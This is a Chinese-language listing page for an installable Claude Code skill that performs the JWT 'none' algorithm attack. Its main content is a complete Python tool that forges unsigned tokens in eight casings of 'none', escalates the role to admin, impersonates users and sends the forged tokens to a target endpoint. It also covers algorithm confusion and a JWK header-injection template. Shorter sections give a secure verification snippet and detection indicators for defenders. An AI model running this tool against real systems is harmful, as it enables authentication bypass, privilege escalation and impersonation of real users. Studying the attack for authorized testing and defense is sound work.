关于 performing-jwt-none-algorithm-attack
用于授权安全评估的 JWT 测试技能,讲解 `none` 算法导致的签名验证绕过,并涵盖相关变体、检测迹象和缓解方法。适合进行 JWT 安全测试与审计的人员。
主要功能
- 01分析 JWT 结构与算法
- 02测试 `none` 算法签名绕过
- 03介绍算法混淆与 JWK 注入
- 04说明检测迹象和缓解措施
适用场景
- 01审计使用 JWT 的认证应用
- 02验证签名算法允许列表
- 03调查疑似 JWT 签名绕过事件
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-jwt-none-algorithm-attack安装后在 Claude Code 中输入/performing-jwt-none-algorithm-attack确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
执行 JWT None 算法攻击
概述
JWT none 算法攻击利用 JSON Web Token 库中的一个漏洞:这些库接受 alg 头部设置为 none 的令牌,从而有效地绕过签名验证。当服务器处理带有 "alg": "none" 的 JWT 时,它会将该令牌视为有效,而不检查任何加密签名,使攻击者能够伪造带有任意声明的令牌,例如提升权限、冒充用户或延长过期时间。该漏洞由 Tim McLean 于 2015 年首次披露,并已影响多种语言中的多个 JWT 库。
何时使用
- 当进行涉及执行 JWT none 算法攻击的安全评估时
- 当遵循相关安全事件的事件响应流程时
- 当执行计划的安全测试或审计活动时
- 当通过实际动手测试验证安全控制时
先决条件
- 使用 JWT 进行身份验证或授权的目标应用程序
- 能够拦截和修改 HTTP 请求(Burp Suite、mitmproxy)
- 用于构造令牌的 Python 3.8+ 及 PyJWT 库
- 理解 JWT 结构(Header.Payload.Signature)
- 获得对目标执行安全测试的授权
法律声明: 本技能仅用于授权的安全测试和教育目的。未经授权对您不拥有或没有书面许可测试的系统使用属于违法行为,并可能违反计算机欺诈相关法律。
JWT 结构
一个 JWT 由三个用点分隔的 Base64URL 编码部分组成:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # Signature
攻击方法
步骤 1:捕获有效的 JWT
使用 Burp Suite 或浏览器开发者工具从目标应用程序拦截一个合法的 JWT:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
步骤 2:解码并分析令牌
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}
# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}
步骤 3:使用 None 算法构造伪造令牌
#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool
Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
# All known variations of the 'none' algorithm value
NONE_VARIANTS = [
"none",
"None",
"NONE",
"nOnE",
"noNe",
"NoNe",
"nONE",
"nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def _base64url_encode(self, data: bytes) -> str:
"""Base64URL encode without padding."""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def _base64url_decode(self, data: str) -> bytes:
"""Base64URL decode with padding restoration."""
padding = 4 - len(data) % 4
if padding != 4:
data += '=' * padding
return base64.urlsafe_b64decode(data)
def _decode_token(self, token: str) -> tuple:
"""Decode JWT header and payload."""
parts = token.split('.')
header = json.loads(self._base64url_decode(parts[0]))
payload = json.loads(self._base64url_decode(parts[1]))
return header, payload
def craft_none_token(self, modified_payload: dict,
alg_variant: str = "none") -> str:
"""Craft a JWT with the none algorithm and modified payload."""
# Create header with none algorithm
header = {"alg": alg_variant, "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
# Encode modified payload
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
# Token with empty signature (just trailing dot)
return f"{header_encoded}.{payload_encoded}."
def craft_privilege_escalation(self, role_field: str = "role",
admin_value: str = "admin") -> list:
"""Create tokens with escalated privileges using all none variants."""
tokens = []
modified_payload = dict(self.original_payload)
modified_payload[role_field] = admin_value
for variant in self.NONE_VARIANTS:
token = self.craft_none_token(modified_payload, variant)
tokens.append({"variant": variant, "token": token})
return tokens
def craft_user_impersonation(self, target_user_id: str,
user_field: str = "sub") -> str:
"""Create a token impersonating another user."""
modified_payload = dict(self.original_payload)
modified_payload[user_field] = target_user_id
return self.craft_none_token(modified_payload)
def test_none_variants(self, endpoint: str = "/api/profile",
headers: Optional[dict] = None) -> list:
"""Test all none algorithm variants against the target."""
results = []
base_headers = headers or {}
for variant in self.NONE_VARIANTS:
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
token = self.craft_none_token(modified_payload, variant)
test_headers = dict(base_headers)
test_headers["Authorization"] = f"Bearer {token}"
try:
response = requests.get(
f"{self.target_url}{endpoint}",
headers=test_headers,
timeout=10
)
result = {
"variant": variant,
"status_code": response.status_code,
"accepted": response.status_code == 200,
"response_length": len(response.content),
}
results.append(result)
if response.status_code == 200:
print(f" [VULNERABLE] alg='{variant}' -> {response.status_code}")
else:
print(f" [SAFE] alg='{variant}' -> {response.status_code}")
except requests.exceptions.RequestException as e:
results.append({
"variant": variant,
"status_code": 0,
"accepted": False,
"error": str(e)
})
return results
def test_empty_signature_variants(self) -> list:
"""Test different empty signature formats."""
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
header = {"alg": "none", "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
# Different signature formats
variants = [
f"{header_encoded}.{payload_encoded}.", # Empty signature with trailing dot
f"{header_encoded}.{payload_encoded}", # No trailing dot
f"{header_encoded}.{payload_encoded}.AA==", # Minimal base64 signature
]
results = []
for token in variants:
results.append({"token_format": token[-20:], "token": token})
return results
def main():
if len(sys.argv) < 3:
print("Usage: python jwt_none_attack.py <target_url> <original_token>")
print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
sys.exit(1)
target_url = sys.argv[1]
original_token = sys.argv[2]
attacker = JWTNoneAttack(target_url, original_token)
print(f"\nOriginal Token Header: {attacker.original_header}")
print(f"Original Token Payload: {attacker.original_payload}")
print(f"\n{'='*60}")
print("Testing None Algorithm Variants")
print(f"{'='*60}")
results = attacker.test_none_variants()
vulnerable = [r for r in results if r.get("accepted")]
if vulnerable:
print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
print("[!] The server does not properly validate JWT signatures")
else:
print(f"\n[+] SECURE: All none algorithm variants were rejected")
if __name__ == "__main__":
main()
步骤 4:其他 JWT 攻击变体
算法混淆(RS256 到 HS256): 如果服务器使用 RS256(非对称),知道公钥的攻击者可以:
- 将
alg改为HS256 - 使用公钥作为 HMAC 密钥对令牌进行签名
- 服务器可能会将其公钥作为 HMAC 密钥来验证签名
JWK 头部注入(CVE-2018-0114):
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<attacker-controlled-key>",
"e": "AQAB"
}
}
缓解策略
# Secure JWT verification - always specify allowed algorithms
import jwt
def verify_token_secure(token: str, secret_key: str) -> dict:
"""Verify JWT with explicit algorithm allowlist."""
try:
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256"], # CRITICAL: Explicit allowlist
options={
"require": ["exp", "iat", "sub"], # Required claims
"verify_exp": True,
"verify_iat": True,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("Invalid token algorithm")
except jwt.ExpiredSignatureError:
raise ValueError("Token expired")
except jwt.InvalidTokenError:
raise ValueError("Invalid token")
检测指标
- 服务器日志中出现带有
"alg": "none"(或大小写变体)的 JWT 令牌 - 签名段为空或缺失的令牌
- 算法字段突然偏离正常模式
- 来自同一会话的声明被修改(权限提升)的令牌
- Authorization 头部包含仅有 Base64 两段的令牌
参考
- OWASP JWT 测试指南:https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/10-Testing_JSON_Web_Tokens
- Auth0 JWT 漏洞披露:https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
- PortSwigger JWT None 算法:https://portswigger.net/kb/issues/00200901_jwt-none-algorithm-supported
- HackTricks JWT 漏洞:https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
- Invicti JWT 签名绕过:https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/jwt-signature-bypass-via-none-algorithm
评论
支持 Markdown